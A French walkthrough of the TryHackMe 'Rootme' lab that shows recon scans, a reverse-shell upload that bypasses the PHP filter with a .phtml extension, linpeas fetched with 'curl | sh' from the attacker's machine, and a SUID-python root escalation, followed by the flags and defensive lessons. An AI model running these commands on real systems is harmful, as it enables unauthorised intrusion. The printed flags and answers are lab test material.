Try Hack Me Walkthrough - Rootme¶
Machine ciblée : Rootme.
Répertoire : /home/kali/Rootme
Temps passé dessus : 30 minutes
Changelog du template¶
Version 1.0 - Sep. 2022 : création du template de base pour HackTheBox
Version 1.1 - Oct. 2022 : Rajout des scan nmap et des commandes de base
Version 1.2 - Nov. 2022 : Rajout des redirection pour éviter les retours d’erreur et du domaine pour être compliant avec TryHackMe
Version 1.3 - Nov. 2022 : Ajout du scan UDP + de l’export vers searchsploit
Version 1.4 - Dec. 2022 : Changement de l’export vers searchsploit pour gagner du temps + rajout des scripts vuln sur le full pour confirmer.
Phase 1 : Reconnaissance¶
┌──(kali㉿kali)-[~]
└─$
name="Rootme"
repository="/home/kali/$name"
ip="10.10.176.141"
domain='thm'
cd $repository 2&>/dev/null || mkdir $repository && cd $repository
grep "$ip $name ${name}.${domain}" /etc/hosts >/dev/null || echo "$ip $name ${name}.${domain}" | sudo tee -a /etc/hosts
nmap -Pn -A -T5 --top-port 1000 -oN $repository/txt -oX $repository/sploitable $ip
searchsploit --nmap $repository/sploitable
nmap -Pn -A -T5 -p - --script vuln -oN $repository/full -oX $repository/fullsploitable $ip
sudo nmap -Pn -A -T5 -sU -p - -oN $repository/udp -oX $repository/udploitable $ip
searchsploit --nmap $repository/udploitable
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-20 09:41 CET
Nmap scan report for Rootme (10.10.144.245)
Host is up (0.068s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4ab9160884c25448ba5cfd3f225f2214 (RSA)
| 256 a9a686e8ec96c3f003cd16d54973d082 (ECDSA)
|_ 256 22f6b5a654d9787c26035a95f3f9dfcd (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: HackIT - Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.74 seconds
Ok donc on commence cette machine par un habituel scan. On trouve très vite deux ports d’ouverts, le 80 et le 22. On envoie l’énumération web :
┌──(kali㉿kali)-[~/Rootme]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://$name
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://Rootme
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Timeout: 10s
===============================================================
2022/12/20 09:40:50 Starting gobuster in directory enumeration mode
===============================================================
/uploads (Status: 301) [Size: 302] [--> http://rootme/uploads/]
/css (Status: 301) [Size: 298] [--> http://rootme/css/]
/js (Status: 301) [Size: 297] [--> http://rootme/js/]
/panel (Status: 301) [Size: 300] [--> http://rootme/panel/]
On trouve un dossiers /uploads et un autre /panel qui attirent notre intérêt. Dans le premier, pas grand chose de visible, par contre le second nous permet d’upload un fichier. Ça semble un bon moyen de se donner un reverse shell ça non ?
┌──(kali㉿kali)-[~/Rootme]
└─$ while 1=1; do nc -vlp 3333 ; done
listening on [any] 3333 ...
┌──(kali㉿kali)-[~/Rootme]
└─$ curl -F 'fileUpload=@../Tools/revshell.php' -F "submit=Upload" http://rootme/panel/
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="../css/panel.css">
<script src=../"js/maquina_de_escrever.js"></script>
<title>HackIT - Home</title>
</head>
<body>
<div class="first">
<div class="main-div">
<form action="" method="POST" enctype="multipart/form-data">
<p>Select a file to upload:</p>
<input type="file" name="fileUpload" class="fileUpload">
<input type="submit" value="Upload" name="submit">
<p class='erro'>PHP não é permitido!</p>
</form>
</div>
</div>
</body>
</html>
Mince, le site bloque le php. Bon, que peut-on faire pour éviter de se faire bloquer … Recherche google et si l’on tentait d’autres extensions ?
┌──(kali㉿kali)-[~/Rootme]
└─$ cp ../Tools/revshell.php ./revshell.phtml
┌──(kali㉿kali)-[~/Rootme]
└─$ curl -F 'fileUpload=@./revshell.phtml' -F "submit=Upload" http://rootme/panel/
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="../css/panel.css">
<script src=../"js/maquina_de_escrever.js"></script>
<title>HackIT - Home</title>
</head>
<body>
<div class="first">
<div class="main-div">
<form action="" method="POST" enctype="multipart/form-data">
<p>Select a file to upload:</p>
<input type="file" name="fileUpload" class="fileUpload">
<input type="submit" value="Upload" name="submit">
<p class='success'>O arquivo foi upado com sucesso!</p><a href='../uploads/revshell.phtml'>Veja!</a>
</form>
</div>
</div>
</body>
</html>
Ok, c’est passé !
┌──(kali㉿kali)-[~/Rootme]
└─$ curl -v http://rootme/uploads/revshell.phtml
* Trying 10.10.144.245:80...
* Connected to rootme (10.10.144.245) port 80
> GET /uploads/revshell.phtml HTTP/1.1
> Host: rootme
> User-Agent: curl/7.85.0
> Accept: */*
>
connect to [10.8.23.82] from Rootme [10.10.144.245] 50886
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
08:36:09 up 17 min, 0 users, load average: 0.00, 0.16, 0.42
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ cat /var/www/user.txt
THM{y0u_g0t_a_sh3ll}
On a le premier flag. Maintenant passons root. J’ai lu la question, alors je savais qu’il y avait un truc à faire avec un SUID binary. J’aurai sans doute jeter un oeil du côté de sudo avant sinon.
┌──(kali㉿kali)-[~]
└─$ cd Tools
┌──(kali㉿kali)-[~/Tools]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
$ curl http://10.8.23.82:8000/linpeas.sh | sh
-rwsr-sr-x 1 root root 3.5M Aug 4 2020 /usr/bin/python
Ok bon, c’est fini, python est SUID+GUID, c’est GTOBins puis fini.
$ python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
cat /root/root.txt
THM{pr1v1l3g3_3sc4l4t10n}
Tâche 1 : Reconnaissance¶
Question 1 : Scan the machine, how many ports are open ?¶
2
Question 2 : What version of Apache is running ?¶
2.4.29
Question 3 : What service is running on port 22 ?¶
ssh
Tâche 2 : Getting a shell¶
Question 1 : Get the user flag¶
cat /var/www/user.txt
THM{y0u_g0t_a_sh3ll}
Tâche 3 : privileges Escalation¶
Question 1 : Which SUID binary seem weird ?¶
$ curl http://10.8.23.82:8000/linpeas.sh | sh
-rwsr-sr-x 1 root root 3.5M Aug 4 2020 /usr/bin/python
Question 2 : Get the root flag/¶
$ python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
cat /root/root.txt
THM{pr1v1l3g3_3sc4l4t10n}
Récapitulatif¶
Il s’agit d’une box facile mais pas trop guidée de Try Hack Me. Elle est effectivement facile. L’attaque principale réside sur le fait que l’on peut pousser presque n’importe quel type de fichier. Dans la vrai vie, il aurait fallu réduire encore plus la liste des fichiers que l’on peut pousser. Une autre technique aurait été de ne pas donner l’accès au /uploads. Si besoin,, voir le cours [Apprentissage des vulnérabilités de contrôle d’accès](../Advent\ Calendar\ 2022/14-DayFourteen.md) du Calendrier de l’Avent THM qui exploite le sujet.
A retenir :¶
Filtrer fortement les uploads de fichiers,
Si l’on ne peut pas mieux filtrer, en désactiver l’exécution,
Si l’on ne peut toujours pas le faire, ne pas laisser l’accès au dossier.
Ne pas laisser de binaires SUID trop puissants comme python.
Pour envoyer un fichier avec
curl, il suffit de faire un -F.